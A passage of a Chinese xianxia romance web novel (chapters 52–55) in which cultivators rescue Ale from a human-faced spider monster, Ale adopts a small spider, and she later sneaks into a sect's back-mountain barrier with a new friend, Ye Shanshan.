空气中隐约漂浮着血腥的味道,叶敬亭顿感不妙。手中捏诀,灵力从掌心暴涨,“破。”
遮住眼前的东西似乎淡了一些,可还是看不清前面到底是什么。
夜郎抱着手发出“啧”的声音,十分不满道:“就这?”
叶鹤刚想打几句圆场,叶敬亭却不给他机会。人已升至半空,白袍无风自鼓,双手捏诀,灵力自周身暴起,“噗”一声轻响,眼前的东西消失了。
强烈的酸臭味裹挟着血腥味扑面而来。
三人抬手掩鼻,却还是被这股气味熏到。
黑雾渐渐散开,眼前明朗了起来。只见黑夜中,有一团黑乎乎的东西被挂在半空,从这团东西中生出无数“触手”向四面八方伸去,又在某一个地方聚拢汇聚成一根“触手”往地下伸去。
叶鹤伸手捏了捏那些“触手”,是肉的触感,似乎还能感觉到血液从中流过。
转头对两人道:“这肉球是活的。”
手上流下一滩黏液,他放在鼻尖闻了闻,胃里一顿翻滚,大声道:“那酸臭味就是这个肉球发出来的。”
夜郎捂着鼻子退后了几步,指着前方道:“那边还有一个。”
叶敬亭蹙着眉,在这东西上一顿探查,丝毫没被这恶心的味道影响,他现在只想快点找到阿乐。
夜郎实在看不下去叶敬亭这一身白衣,偏偏要往那脏兮兮的地方靠。上前把他拉过空地道:“让我来。”
说罢挽起袖口露出手腕,手中捏诀,一根细细的红线从他手腕处显出来。
红线在夜里也十分明显,顺着红线看去,一边连着夜郎,另一边既然连着前面那个黑乎乎的肉球。
这根红线是夜郎见到阿乐,得知她要去无间地界,担心她混血者身份被妖魔族发现,故意留下的。昨天便发现这红线越来越弱,要不是等那只狐狸,他早来了。
“不好,阿乐在里面。”夜郎道。
52. 人面蜘蛛
夜郎话音刚落,叶敬亭已飞身而去。
这硕大的肉球挂在半空中,浑身散发着腥臭的腐味。
灵力从指尖升起,在肉球上仔细探查了一番,果然,有微弱的心跳声传来。
“阿乐——”叶敬亭提起“寒冰”,对准肉球就想砍去。
“等等——”已然来不及了。
“噗嗤”一声,肉球如一颗被踩碎的石榴籽,喷出一股奇臭无比的浓浆。
叶鹤早已远远躲起来,站在最前面的那两人被这浓浆淋了一身。
夜郎大叫:“不是让你等等嘛——”
叶敬亭用袖子擦了擦脸,表情一如既往的淡淡然,他沿着砍出的口子,把手往里探去,搅了半天一无所获。
“没有。”叶敬亭看着夜郎,示意他再看看手腕上的红线。
夜郎忍着这一身的臭味,挽起袖口,手腕处那根红线比刚才又弱了一些,看来阿乐情况不妙。
红线的另一端就是连着这个肉球。
叶敬亭提起“寒冰”,向肉球中心刺去,一声清脆声响,是剑锋触到某个坚硬的物体发出的声音。
“有东西。”夜郎道。
“你们看这边!”叶鹤站在第一个肉球下,指着道,“它刚才动了一下。”
紧接着,大地也晃动了一下。
“小心,地下有东西。”夜郎道。
半晌,地面又恢复平静。
“先救阿乐。”叶敬亭几剑劈去,把肉球外面包裹着的那层肉搅碎,露出一颗硕大的“珍珠”。
刚才“寒冰”戳到的便是这个外壳吧。
没想到这腥臭的肉球里包着的既然是这样一颗流光溢彩的“珍珠”,仔细看去,透过外壳只能隐约看到里面有个蜷缩的人形。
“阿乐。”叶敬亭看着身形是阿乐无疑。提起“寒冰”灌入灵力,朝着“珍珠”劈了几剑,竟只有几条划痕。
“我试试。”夜郎红光光乍起,往“珍珠”上劈了几道,划痕却只是加深了些。
“······”
夜郎又凑近仔细端详这东西,竟然可以连续承受这么大的重击,“看来是个宝贝啊。”
叶鹤那边也把那颗肉球剖开,露出相同的“珍珠”,那颗“珍珠”比阿乐要大一些,十有八九是叶平安。
“你们听!”叶鹤道。
地面传来一阵抖动,紧接着传来极细的喊叫声,好似有千万人聚在一起发出的喊叫。
三人各自警惕脚下,不知道出来的会是什么“怪物”。
“轰隆”一声,地面裂开了,出现的却不是“怪物”,是一根根触手,每根触手上都结着大小不一的一颗肉球。
“崩”一声巨响,地面开始往地底下凹陷下去。
三人飞身悬在半空,紧盯着洞里会出现什么。
这声音仿佛是千万冤魂从地狱最底层发出来的,若是普通修真者听到这喊叫都得吓得屁滚尿流。
而这三位都是修真界佼佼者,自然是镇定自若。
夜郎不耐烦的模样,就差说一句:“到底出不出来?”
“出来了!各位小心——”叶鹤看到一只巨大的“蜘蛛”从地底钻了出来,抖落身上一堆土,扬起的灰尘带着腥臭味。
“啊——”又是一阵喊叫。
“难听死了。”一道红光乍起,夜郎最先飞身而去,须臾间,怪物新长出来的触手一一被砍断。
断下的触手化作一滩腥臭无比的浑水往地里渗去,肉球落在地上。
“别砍了,难闻死了!”叶鹤捂住鼻子,还是难掩臭味。
被砍去触手的怪物看上去并不着急,又是一声喊叫,肉球开始剧烈晃动,片刻后,从里面钻出一只只人面蜘蛛怪。
看上去身形与蜘蛛无异,就是头上长着一张人脸,伸着长舌向三人探来。
“好恶心。”夜郎咒骂了几句。
叶敬亭双手捏诀,“寒冰”变幻出万千剑花,白光到处,人面蜘蛛应声而倒。
夜郎不甘示弱,也弑杀一片。
此时这山顶这里一道红光乍起,那里一道白光乍起,映得夜空红白一片,既有些好看。
妖魔族一名侍卫指着山顶道:“快看,那里放烟花呢!”
另一名侍卫道:“烟花?还没过年就放烟花?这烟花可真好看呐!”
“是呀,过年的时候边吃烤猪边喝酒,若再有这烟花助兴,那便是死了也值了!”
他们哪知山顶上作战正酣。
“敬亭,干脆直接把这蜘蛛脑袋砍了。”叶鹤与这蜘蛛交了几次手,发现它外壳虽坚硬无比,但这脑袋却左右躲避,这破绽只怕就在此处了。
叶敬亭点点头,灵力灌入“寒冰”,一跃便向脑袋与身体连接处砍去。
那怪物发出一声凄厉的喊叫,其他还幸存的人面蜘蛛纷纷向它赶去。
夜郎飞身拉住叶敬亭,“等会。”
只见这些人面蜘蛛爬到怪物身上,须臾间便与这怪物融为一体,每融进一只,那人面便长在怪物头上,不到一会儿,这怪物头上便挤满了人面。
“啊——”这次声音从那些人面口中喊出,汇在一起便是那怪物刚才的喊叫声。
声音痛苦凄惨,可想这些人都是以何其痛苦的方式死去。
叶敬亭瞟了一眼阿乐的肉球,外面的腐肉已化成浑水,可还是连着那触手。
怪物冲着三人撞来。
叶敬亭飞身而起,躲过了攻击。
夜郎红光乍起,把怪物击退,几百张人脸从怪物头上瞬间消失。
又有新的人面蜘蛛补上,空了的地方又长出人面,连绵不绝。
叶鹤有些失去耐心,把灵力灌满,往那怪物头上砍去。
“慢着!”叶敬亭喝道,又转头对夜郎道:“把它拖入异界。”
夜郎心领神会点点头,空气中弥漫起一层红光,很快把怪物笼罩其中。
叶鹤往后退了几步,惊道:“异界?”
叶敬亭点点头,随即道:“你去守着叶平安。”
说罢便闯进这圈红光。
“助我!”
在夜郎的操控下,进入异界的叶敬亭瞬间进入阿乐的梦里,与抱着阿乐的叶敬亭叠交在一起。
看着怀里的女子缓缓闭上双眼,叶敬亭俯下头在她耳边道:“阿乐,醒醒——”
忽然,一道红影挡在两人之间,是叶茜。
她一袭红妆,哭得梨花带雨,扑倒在地上,对着叶敬亭道:“我们不是就要成婚了吗?肚子里的孩子你也不要了吗?”
看着叶茜满脸泪痕,叶敬亭扶额无语,阿乐这梦的都是些什么?
阿乐听闻道叶茜的声音,两行眼泪顺着已合上的眼缝里流下,嘴里还在呢喃:“师兄—祝你们幸福!”
叶敬亭轻叹一口气,对夜郎道:“把这些人弄走。”
“哈哈哈哈哈哈—”夜郎的嘲笑声传入耳,“你在阿乐的梦里居然是这样角色——啊哟,我的肚子,笑死我了——”
片刻之后,只剩下叶敬亭与阿乐。
“阿乐,醒醒,这是梦,不是真的。”叶敬亭对着阿乐一遍遍说道。
“师兄——你不用宽慰我——我体内浮生烬——已经燃烬——我活不了了——”阿乐断断续续抽泣着,沉浸在梦里不可自拔。
“你现在身体还疼吗?”叶敬亭问道。
“不疼了,大抵是因为我快死了,就感受不到疼痛了吧。”阿乐道。
“你睁开眼睛看看我。”叶敬亭哄道。
阿乐嘴角一撇,眼泪哗哗哗顺着眼角流下,“师兄,我不想看到她一身新嫁娘衣裳在你旁边。”阿乐喃喃道。
看着阿乐被泪珠打湿的睫毛,叶敬亭心中一紧,缓缓开口道:“我到底要跟你说多少次‘我愿意’,你才能记得?”
看着这两人一言一语,夜郎实在忍不住道:“叶敬亭,你就直接告诉她,‘你多爱她,这个世上你只想要她,没有她你一刻都活不下去
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,她才是你心尖上的那个人,’不行吗?”
听着这些“甜得发腻”的话如此轻松从夜郎口中说出,叶敬亭耳尖泛红,手指慢慢收拢,抿着嘴定定看着阿乐。
“你快说啊!”夜郎催促道,“你再不说,她就要走了,那神仙也救不回来了。”
喉结滚动,叶敬亭抬手结起结界,把夜郎隔绝在外。
“狐狸,不要那么小气吧。”夜郎道。
只见叶敬亭低下头,凑近阿乐耳边说着什么。夜郎聚精会神想要看他口型,却被他垂下的发丝遮住了视线。
半晌,阿乐猛然睁开双眼,脸颊泛红,呆呆看着眼前的叶敬亭许久。
缓了一会,双手才环上他肩膀,看着两人相拥在一起,夜郎扬起嘴角露出尖牙,血眸染了一层水雾。
“我们出去。”叶敬亭对夜郎道。
夜郎眼眶微红,抬手收回红光。
看着叶敬亭完好无损的走出来,叶鹤放下心,顿了顿又道:“你脸怎么那么红?”
“第一次说情话难免会害羞嘛,哈哈哈哈哈”夜郎道。
“闭嘴。”叶敬亭一道白光在夜郎身旁炸出一个黑洞。
待红光褪去,怪物怔了一会才发现自己方才被闯入了,急得一声喊叫接着一声。
声音凄惨犀利,叶鹤不禁捂住耳朵。
叶敬亭举起“寒冰”砍去挂住阿乐的触手,包裹住阿乐的“珍珠”褪去外壳,阿乐从里面滚了出来。
“阿乐——”叶敬亭轻轻唤道。
“咳——”吐出一口黑水,阿乐睁开眼,看到眼前真是叶敬亭,嘴角一垂,想起刚才在梦里的一切真实得好似发生过,又是哭出来:“师兄,我以为我浮生烬爆发死了。”
叶敬亭拥她入怀,轻拍着背。
“现在不是儿女情长的时候!它来了——”夜郎喊道。
闻言,叶敬亭熟练的抱起阿乐脚尖轻点,飞身而起,把她放在不远处的大树上,“在这等我。”
叶敬亭周身白光乍起,向那怪物劈去,现在他不用顾及任何。
空中传来一阵阵喊叫,又渐渐弱了下去,一道红光闪过,彻底没了动静。
怪物瘫软在地上,从它身上爬出许多人面蜘蛛,密密麻麻的一群人脸晃动着长舌四散跑去。
“别让它们跑了——”叶鹤抱着刚从“珍珠”里出来的叶平安,对着夜郎喊道。
一阵红光扫过,随着一声声“爆裂”,人面蜘蛛炸成一堆碎肉堆满山顶。
阿乐看清叶鹤抱着的是叶平安,从树上跳下来,踉踉跄跄跑去。
“平安,平安!”阿乐看到叶平安垂下的手虽然冰凉,却不是森森白骨,又哭了起来。
“太好了,他没有变成白骨,呜呜呜呜——”
叶敬亭收起“寒冰”,拉过她手攥在掌心轻柔的拍着。
经不起阿乐摇晃,叶平安“哇”一声吐了叶鹤一身黑水。
叶鹤低头盯着叶平安,迷瞪着眼,一脸生无可恋。若不是看着叶平安虚弱无力的样子,他可能真会把他直接仍在地上。
在梦里经历的一切太过真实,阿乐浑身经脉还有被灼烧的痛感,刚刚从树上跳下跑来已然耗费了她全部力气,身体摇摇晃晃向叶敬亭怀里倒去。
夜郎对着空中打了个响指,远处那四个燃着鬼火的骷髅头抬着轿子跑来,眨眼间已到夜郎面前。
看着仅够一人坐的轿子,竟然五人也能宽敞坐下。
阿乐躺在叶敬亭怀里沉沉睡去。夜郎撇过头看着轿子外一闪而过的风景。
叶平安靠在叶鹤身上还不知道发生了什么,只是看到阿乐闭着眼睛,指着她嘴里口齿不清的说着话,叶鹤皱着眉道:“你再不闭嘴,我就把你扔下去。”
待弄清楚阿乐只是睡着了,才乖乖闭上嘴巴。
山顶上,一个戴着白色面具的白衣男子看着这一地的肉泥,挥起一拳砸在旁边的大树上,“噼啪”,一条裂纹缠绕住大树,往一旁直直倒下。
53. 晓风别院
叶敬亭也是看着阿乐很虚弱,需要休息恢复的样子,才同意在这妖市住下的。
还是那套小院,门匾上写着“晓风别院”。依山傍水,独立在郊外,不会有人来打扰,也不会有人敢来打扰。
叶敬亭抱着阿乐走在最前,夜郎寸步不离的跟着他。
叶鹤扶着叶平安走在最后。
叶平安明明瘫软无力,走路也要倚靠着叶鹤才勉强挪步,却偏偏硬撑着要自己走。
“叶平安,你要是撑不住,我背你也行啊!”叶鹤道。
“不行,男子汉——男子汉大丈夫,哪能——哪能——”叶平安话没说完,整个往地上滑去。
叶鹤看着瘫坐在地上的叶平安,一把把他横腰抱起,玩笑道:“男子汉大丈夫也可以‘公主抱’啊!”
叶平安实在没劲,放弃了反抗,老老实实窝在叶鹤怀里。
叶平安在叶鹤面前也不过是个小孩子,也不知怎的突然要装起“男子汉大丈夫”。
五人站在小院里,看着这精致的景别,考究的建筑,看起来奢华无比。
夜郎长在院子中央,指着左边错落有致的房间对叶敬亭道:“狐狸、叶鹤、叶鹤,你们住这边。”
又指指右边,是一个别院,不但有单独的小院,还有一栋小楼,道:“小猫住这里。”
叶鹤道:“那你呢?”
“我当然要照顾小猫啦!”夜郎道,一副理所当然的模样。
就在这空档,叶敬亭抱着阿乐已进入小院,“啪”一声并关上了门。
“喂,叶敬亭,什么态度,我才是这里的主人!”夜郎在外面嚷嚷,无果。
叶鹤抱着叶平安进去房间安顿好,关好门。
看到夜郎抱着手还站在院子里,面对着小院的门不知在想什么。
“夜郎,早就听闻说妖市里有许多稀奇古怪的东西,如果方便可否带我长长见识?”叶鹤拍拍夜郎,满脸真诚看着他。
夜郎知道叶鹤是来帮那狐狸打圆场的,罢了,谁让小猫喜欢的人是那臭狐狸呢。
“是啊,妖市本来就是鱼龙混杂,在市面上见不到的东西这里都会有。”夜郎收回目光,打了一个响指。
门外冒起四团鬼火,听到骷髅声音传来:“主人,随时可以走。”
“走吧。去逛逛,在这里也是生气!”夜郎向着小楼投去一记恶狠狠的目光,潇洒转身离去。
院子里终于安静下来。
阿乐今夜无梦,躺着床上睡得很沉。
她困在那肉球里不过两天,在那梦里却过了好久。
浮生烬燃烬全身疼痛不已、看到叶茜一身红嫁衣心痛不已、看到叶平安那半截骷髅手后悔不已、被徐娘他们暗算心里也对自己怀疑不已,各种极致的情绪全都尝过一遍,现在身心俱疲。
叶敬亭眼眸闪烁,满眼都是阿乐睡颜。忽然低下头在她额上轻啄了一下。
想起她梦里的场景,她就那样躺在血泊里,肤如白纸,对着他一遍遍说“对不起。”
双手托起阿乐的手覆在掌心。阿乐手小小软软的,感觉稍一用力就会捏碎了。
看着阿乐低声道:“绝不会出现的。”这话更像是对自己说的。
俯身轻吻了一下阿乐嘴角,仔细掖好被角便出去了。
他住隔壁房间,不过阿乐才刚刚脱离危险,他也只是原地盘腿闭目养神。
夜已深,隔壁传来均匀的呼吸,叶敬亭才逐渐安下心。
就这样过了半宿,忽然,“咯吱”一声传来,这声音极为轻,却还是清晰传入叶敬亭耳里。
“阿乐——”
祭出“寒冰”握在手里,打开房门外面空无一物,月影绰绰洒在地上,夜风清爽吹得树叶沙沙作响。
是隔壁阿乐的房间。
加快脚下速度,须臾间便站在房前。
“咯吱”又是一声。
叶敬亭沉着脸,抬手准备推开房门,这时,门开了。
阿乐悬挂在半空,手脚无力的垂在身旁,身后生出八只蜘蛛脚。
“人面蜘蛛?”叶敬亭怒道。
剑锋寒光一闪,剑气逼的蜘蛛往后退去。
“师兄——不要——”阿乐喊道。
叶敬亭生生顿住手,抬眸疑惑的看着悬在半空的阿乐,这声音分明是她喊的。
“师兄,你等等,别砍!”阿乐又喊了一句。
叶敬亭满脸疑惑,这阿乐看着也不疼,意识清晰,不像是被“控制”的样子啊!
“山竹,你快跟师兄打个招呼,他是个好人!”阿乐侧首对着身后的什么人说道。
半晌也不见动静,叶敬亭眉心拧在一起,阿乐,不会脑子坏了吧?
“师兄,你别那样看着我,我脑子没事!她就是有些害羞。”阿乐道。
“山竹,你快呀!”阿乐又侧首哄道。
半晌,没有第三人说话,阿乐摇摇头一副“罢了”的表情,随即张开双手对着叶敬亭道:“师兄,接住我!”
说完人便从半空中落下。
叶敬亭连忙收回“寒冰”,张开双手稳稳当当接住了阿乐。
阿乐整个人被叶敬亭稳稳接到怀里。
“哈哈,我就知道你能接住我。”阿乐抱住叶敬亭,在他脖颈处蹭了蹭才抬起头来。
阿乐的身后站着一只人面蜘蛛,只是这个人面没有长舌头。看上去是一张稍显稚嫩的脸庞,此时正紧张的看着叶敬亭,看到对方的目光又不敢对视,干脆闭上眼在原地瑟瑟发抖。
叶敬亭拍拍她背,道:“怎么回事?”
阿乐从叶敬亭身上跳下,身子还没完全恢复还有些腿软。叶敬亭一把捞起她,道:“坐下说。”
扶着阿乐坐下,递过一杯热茶才道:“慢慢说。”
“山竹,你先化回原型。”阿乐对着那人面蜘蛛道。
“嗖”一声,有半丈高的蜘蛛缩回只有半米高,圆圆滚滚憨态可掬的模样。
可她还是一只人面蜘蛛。
山竹爬到阿乐腿边蹭了蹭,八只脚一趴,四仰八叉的躺在阿乐脚边,仰着脸眨巴眨巴眼看着阿乐。
“师兄,这是山竹,在你们与那大蜘蛛斗得正酣时,它连滚带爬爬来我身边躲着,我看她可怜,人脸也还没有完全变样,便藏在乾坤袋里带回来了。”阿乐伸手摸了摸它头顶,她一副舒服极了的摸样。
叶敬亭蹙眉,看着这蜘蛛确实还没有完全被同化。
“山竹跟我说,那只大蜘蛛是听命于一个带着面具的白衣人。帮他收集浮生烬的能量。”阿乐继续道。
叶敬亭思忖片刻,才
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道:“他不是对混血者深恶痛绝,要统统杀死。怎么又偷偷收集浮生烬?”
阿乐摇摇头,皱起眉头道:“师兄,你不觉得这很奇怪吗?这么大的蜘蛛以及那么多的人面蜘蛛一直住在那山顶上,那里可是妖魔族的地盘,平时就不会有人来。那些肉球里的人又是怎么来的呢?会不会都像我一样被骗来的。”
这些叶敬亭几人怎么会没想到,只怕那妖魔族与白衣人也是有牵扯不开的关系。
叶敬亭微微颔首不置可否。
“改天得找邴哲打探一下消息。”阿乐脱口而出这个名字,心虚的看了叶敬亭一眼,声音越说越小。
“他带你去的无间地界?”叶敬亭道,声音听着与平常无异,阿乐知道他有些不悦了。
阿乐点点头,抱住叶敬亭手臂道:“他其实帮了我很多次忙,也是个混血者。”
叶敬亭无奈叹口气道:“他是妖魔族左使。”
“我知道,好好好——”阿乐本想再说几句,看着叶敬亭投来的目光又悻悻闭了嘴。
阿乐又拉着叶敬亭说了半天话,最后终于困得眼皮抬不起来,才沉沉睡去。
山竹就挨在阿乐脚边,眼睛看着叶敬亭眨巴眨巴,把头搭在阿乐脚边也睡去了过去。
待山竹闭上眼,叶敬亭掌心升起灵火围绕它探了一圈。
这灵火至纯至净,靠近山竹,它却没有任何异常,睡得很香甜。
看来确实无害。
叶敬亭正要收回灵火,山竹喊了一声“阿娘”。收回的手在空中顿住。
重新燃起灵火往山竹靠去。
“阿娘,山竹想你”,接着哼唧了几句,小小脑袋转了个方向又睡过去了。
看着也是可怜人,年岁还那么小,也不知她父母还在不在,毕竟经历过白衣人天雷降世那么一遭,恐怕也都凶多吉少。
叶敬亭收起灵火,仔细盖好被子便出去了。
叶展云传来密信,清灵山出事了。
“怎么回事?”叶鹤回道。
“现在民间清理混血者的组织日益壮大,大家都不想再被这些本就违反天规的混血者遭受天雷拖累。现在全部乌泱泱聚集在清灵山脚下,请师尊做主彻底剿灭混血者。”叶展云回道。
“那阿乐怎么办?暂时留在妖市?”叶鹤道。
“速回,从长计议。”叶敬亭回道,他想等叶鹤和夜郎回来再商议此事,毕竟也不可能一直躲在这里。
“你们什么时候见到——”叶展云话说一半便没了。
“你倒是说完啊?”叶鹤道,这话说一半真的很难受。
“你们什么时候见到徐娘的?”叶展云缓缓才道。
“也没多久——等等,你见到徐娘了?那阿珍呢?”叶鹤惊道,那就是那个山洞被发现了!
“她们都在,在混血者的队伍里。”叶展云道。
“那你知道阿珍是——”叶鹤话没敢说完,他怕叶展云做出什么过激的事。
“是什么?”叶展云问道。
看来他还并不知情,那也好,等他们回去再说。
“你先稳住,我们明早就回。”叶鹤道。
“敬亭,等我们。”叶鹤急道,这阿珍还那么小,总不能眼睁睁看着她被抓走吧。
“嗯。”叶敬亭道。
54. 叶珊珊
窗外的小雨淅沥沥下了一整夜,阿乐趴在窗边正睡得香甜。
她感觉自己做了一个很长很长很长的梦,却也记不清到底梦见了什么。
只记得梦里好像有一个很重要的人出现,一个对她很重要很重要的人。
迷迷糊糊间,忽然肩上微微一沉,一阵暖意传来。
“咳咳”一阵咳嗽声从背后传来,咳嗽的人似乎怕吵醒她,捂着嘴退后了几步。
须臾,“师兄!”阿乐从梦里惊醒。
天空刚蒙蒙亮,小雨却未停。
想起昨晚抱住自己的心跳声,萦绕在耳边的喘息,还有那句:“别走”,想到此,阿乐耳尖又烧红起来。
对,不知道叶敬亭伤势怎么样,昨夜他滑倒在雨泊中——
不过方才为何要叫“师兄”?
“师父!”阿乐站起来转身往床边跑去,不过短短几步路,她却未曾发现站在角落里的叶敬亭。
看着空荡荡的床,阿乐一阵心慌,略带哭腔道:“师父——不会———”
“我在这。”叶敬亭声音从她身后响起。
听到这个声音,阿乐心里一舒,好似很久前一直未找到的宝贝,今日竟然明晃晃的出现在眼前,心底咕嘟咕嘟冒出许多开心。
看到叶敬亭只穿着单薄的中衣站在那里,转身便扑了过去,抓住叶敬亭的手臂眼睛不停打量着道:“师父,你没事吧!伤口还好吗?你怎么起来了呀,快躺着去。”
叶敬亭面如白纸,一副不慌不乱的模样,手心传来阿乐的温度,食指微微一动眉间藏不住的笑意。
“师父,快去躺着。”阿乐上下扫视着叶敬亭,生怕他又倒下。
叶敬亭坐在床榻上,阿乐拉过被褥,示意他躺下。
他看着眼前的阿乐,嘴角弯起弧度,阿乐轻蹙眉,装作凶狠样子道:“你再不躺下,我今晚就走。”
闻言,叶敬亭自行拉过被褥立马躺下。
看着叶敬亭轻轻摇头,阿乐“噗嗤”笑出声,随即想到“这件事情居然可以威胁到他。”反应了一会,“他那么怕我走吗?”昨夜在耳畔的“别走”又从脑中跑了出来,耳尖又烧了起来。
脑海中闪过一些画面,模糊不清的人影攒动,其中一个挺拔的身影越看越熟悉,还是记不得是谁!
“阿乐——”叶敬亭声音在耳旁明朗起来,看来自己又走神了。
今天是怎么了,自从做了这个很长很长的梦后,思绪总是不受控制飘飘然。
“你怎么了?”叶敬亭支起上半身,探出头盯着阿乐。
阿乐摇摇头,半晌道:“师父,我做了一个梦,一个很长很长的梦。”
叶敬亭仰起头,神色不变问道:“什么梦?”
阿乐挠挠头,翻起眼珠子左右想了一圈,摊手道:“记不清了,”
“梦本就是虚无缥缈的东西,记不清很正常。”叶敬亭温声道。
“呃——可是,可是——”阿乐心里感觉错过了很多事情,却又不知道那是什么,只好支支吾吾说不出所以然来。
叶敬亭看着阿乐,耐心等她说完。
“可是,梦里有一个人,好像对我很重要很重要——很重要。”阿乐一连说了三个“很重要”,似乎这样才能表达这个人真的“很重要。”
“那是谁?”叶敬亭面不改色,眼眸里多了一点星光,缓缓道。
他期待着她能说出那个名字,却又不希望她真的说出那个名字。
“我实在想不起来,好像叫‘师兄’。”阿乐道。
叶敬亭望着阿乐莞而一笑,道:“肚子饿吗?”
“啊?”阿乐道,望了望外面的天色,天已经亮开,自己该去上早课了。
“师父,你先休息,我得去上早课了。”阿乐说完便走了。
阿乐才关上门,叶敬亭便掀开被子走到窗户旁,等着那个身影出现,又看着那个身影消失在视野里,他还是站着一动不动。
这样的日子他等了太久、太久——
自从这日以后叶知乐再也没有提过要离开这件事,叶敬亭自然不会再去提起。
叶鹤还是在清灵山待不了几天便往听书楼跑,刚开始阿乐也经常跟着去玩,后来叶鹤便开始自己偷偷跑,阿乐来问为何不带她,叶鹤也只能无奈笑笑。
还能有什么原因?!叶敬亭发现一次找他严厉警告一次,他第一次发现本来话不多的小师弟真是越来越像师尊了,每次都能说教一通,什么耽误修炼、玩物丧志、整天听写乱七八糟的话本,特别是有一次发现王一林来听书楼找阿乐,还带着她出去玩了一圈,回来更是滔滔不绝。
叶鹤也抗议过是阿乐自己要跟着他去的,可叶敬亭怎么可能去找阿乐说教,自然全部都落到他的头上。
所以现在不管阿乐再说什么,他都不会再带她下山了。
阿乐只能羡慕得看着叶鹤去听书楼,然后拜托他带些吃的好玩的回来。
叶敬亭对阿乐修炼盯得很紧,每日下了早课都要带她到藏书阁学习其他心法,下午便要到修炼场去实践。
虽然每日学习内容很紧凑,阿乐却乐在其中。毕竟她这位师父不但长得极其好看,脾气超级好,对她耐心有佳,自己修为进步神速,换谁都不会有半分不满。
在叶子清忙不过来的时候,便会找叶敬亭去帮忙,阿乐就能“放假”几日。
这日叶敬亭又被叶子清喊去处理事情,让阿乐自行按照新教的心法修炼。就在这天阿乐认识了一个新朋友,或者——不如说是这位叫叶珊珊的新朋友终于找到认识阿乐的机会。
阿乐本密谋想去后山逛逛,早就听闻清灵后山有许多奇珍异兽了,一直没机会去看看,今天可不就是最好的机会。
她一大清早去厨房要了个白馒头边吃便边去了。丝毫没注意身后一直跟着一个身影。
这后山之前是叶鹤在管理,所以进入结界是需要被允许的,可是叶鹤已经两天没回清灵山了,总不能到听书楼去找他吧,要被叶敬亭发现,那可麻烦。
阿乐从乾坤袋里摸出一个白馒头干嚼着,站在结界前一顿研究,可要知这是叶鹤亲自设下的,哪那么容易破。
这时只恨自己没有跟叶敬亭多学点。
正在想得起劲,旁边响起一阵“窸窸窣窣”声。
阿乐警惕道:“谁?”
话音刚落,声音便消失了。
一阵寂静。
阿乐屏息凝神,突然眼睛盯紧某一处,手中默默唤出“雪落”,剑锋一闪,正要向树丛间刺去——
“等等——等等——”一个白影从树丛里滚了出来,头上沾了了些落叶,略显狼狈。
这声音清脆玲珑,是个女孩子。“雪落”空中一僵,往旁边刺去。
待看清楚滚出来之人身着清灵山的衣裳,面容清秀较好,特别两只杏眼亮晶晶的甚是好看。
阿乐收了“雪落”,盯着来人扫视了一圈,道:“你是谁?为何躲躲藏藏?”
那女子从地上爬起来慢条斯理的整理好衣服,看到阿乐不但不觉得不好意思,还让阿乐帮她把背后的叶子杂草都清理掉。
“你好!阿乐,我叫叶珊珊!是外门弟子。”女
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子伸出手,郑重其事的介绍自己。
“你认识我?”阿乐伸出手与她握了握,好奇道。
叶珊珊手一摆,眨眨眼道:“你可知有多少人争着抢着想要做敬亭师叔的徒弟?你可知有多少姑娘想要接近敬亭师叔?你可知敬亭师叔有多厉害?——”叶珊珊顿住口,煞有介事盯着阿乐道:“看来,你一无所知!”
阿乐闻言,脑子中好像有人用一根管子捅了一下,她知道叶敬亭很厉害,毕竟传言是师尊亲点的下一任掌门,只是没有亲眼见到过,真有那么厉害?还有,他整日绷着一张脸,为何还那么多姑娘想要接近?
阿乐愣神的功夫,叶珊珊又自顾自叽里呱啦讲了一堆,从十几年前叶敬亭平定混血者联盟,到十年间的各种镇压妖魔族叛乱等等,仿佛自己就在现场,说的活灵活现。
“可惜,就是那么多年了从未见过他亲近哪个姑娘,那么厉害的人可不能随师尊一样孤独终老,那就真可惜了——”叶珊珊抱着手,一副万分惋惜的摸样。
阿乐“噗嗤”一声笑了出来,她来清灵山那么久,其他人与她交流都是带着距离感,要不就是对她没由来的掺杂一些阴阳怪气,现在想来大概那是嫉妒吧。
可是如叶珊珊这般的,算是第一次见,这滔滔不绝的模样,甚是可爱。
况且她说的这些事,自己确实一无所知。
“你怎么知道师父那么多事情——”阿乐轻佻眉尖,眯眼看着叶珊珊。
叶珊珊怔了一下,脸上渐渐晕红,一直红到脖子根,支支吾吾道:“我——我——”
“哦—我知道了,你喜欢他!”阿乐笑吟吟道,有人喜欢师父,自己作为徒弟本该是开心的,只是不知为何心里膈应了一下。
闻言,叶珊珊连忙摆手摇头,道:“不是,不是。我哪配啊!是我早几年来清灵山,有幸见过敬亭师叔平乱时的英姿,我——只是崇拜他。”
“真的?”阿乐凑近叶珊珊,一副不相信的样子。
叶珊珊郑重其事点点头,阿乐心中兀自开朗了一些,耸耸肩。
扯了半天,两人迅速熟络起来。
“你是不是想进去这个里面?”叶珊珊道。
阿乐点点头,“你知道怎么进去?”
“嘻嘻,当然。”叶珊珊神秘道,随即拉着阿乐往旁边走去。
左右环顾,确认没有其他人,才道:“这个结界是需要口令才行,若强行进入会被叶鹤师叔立马发现。”
阿乐心道,早知道这样自己方才就该强行闯入,这样叶鹤就能立马回清灵山了。
“那口令是什么?”阿乐好奇道。
叶珊珊用手拢在嘴旁,对着阿乐耳朵嘀嘀咕咕说了几句。
下一瞬,阿乐便捂着肚子笑弯了腰,“哈哈哈哈哈,还真是他的风格!”
两人笑了半天才止住,阿乐道:“那我试试?”
阿乐走到正门前,清了清嗓子对着结界道:“我有本事,我现在就进来了!”
结界似乎开了一下又合上了,阿乐反复确认,没错呀,方才叶珊珊就是说的这个,一个字都没错。
她转过头疑惑的对叶珊珊皱皱眉:“我说的不对?”
叶珊珊耸耸肩:“一个字都没错呀!”
皱眉思忖片刻,叶珊珊恍然大悟,走上前清了清嗓子,抱着手昂着头,一副高高在上的样子,沉着声音道:“我有本事,我现在就进来了。”
须臾间,一片沉默。
静默片刻,结界终于打开了。
阿乐冲着叶珊珊竖起大拇指,两人径直钻了进去。
55. 熟人?
穿过结界,果然是另外一番风景。
阿乐深吸一口气,空气清新、灵气充沛,不但如此,这里的树林与其他地方的也不一样,都是没有见过的花花草草,比如前面那簇像冰块一般的半透明花瓣,这方方正正的花瓣包裹着粉黄色花蕊,散发着淡淡香气。
“这个——花好似在哪里见过——”阿乐一本正经道。
叶珊珊走过来看了看,“这个花好像一颗冰块坠在枝头——”
“好像师父哦!冰块脸。”阿乐说完,自己笑了起来。
一侧头看到叶珊珊无语的表情,“他现在可比以前爱笑多了。”
“以前脸更冰啊?你也觉得他很像一个冰块对吧!”阿乐道。
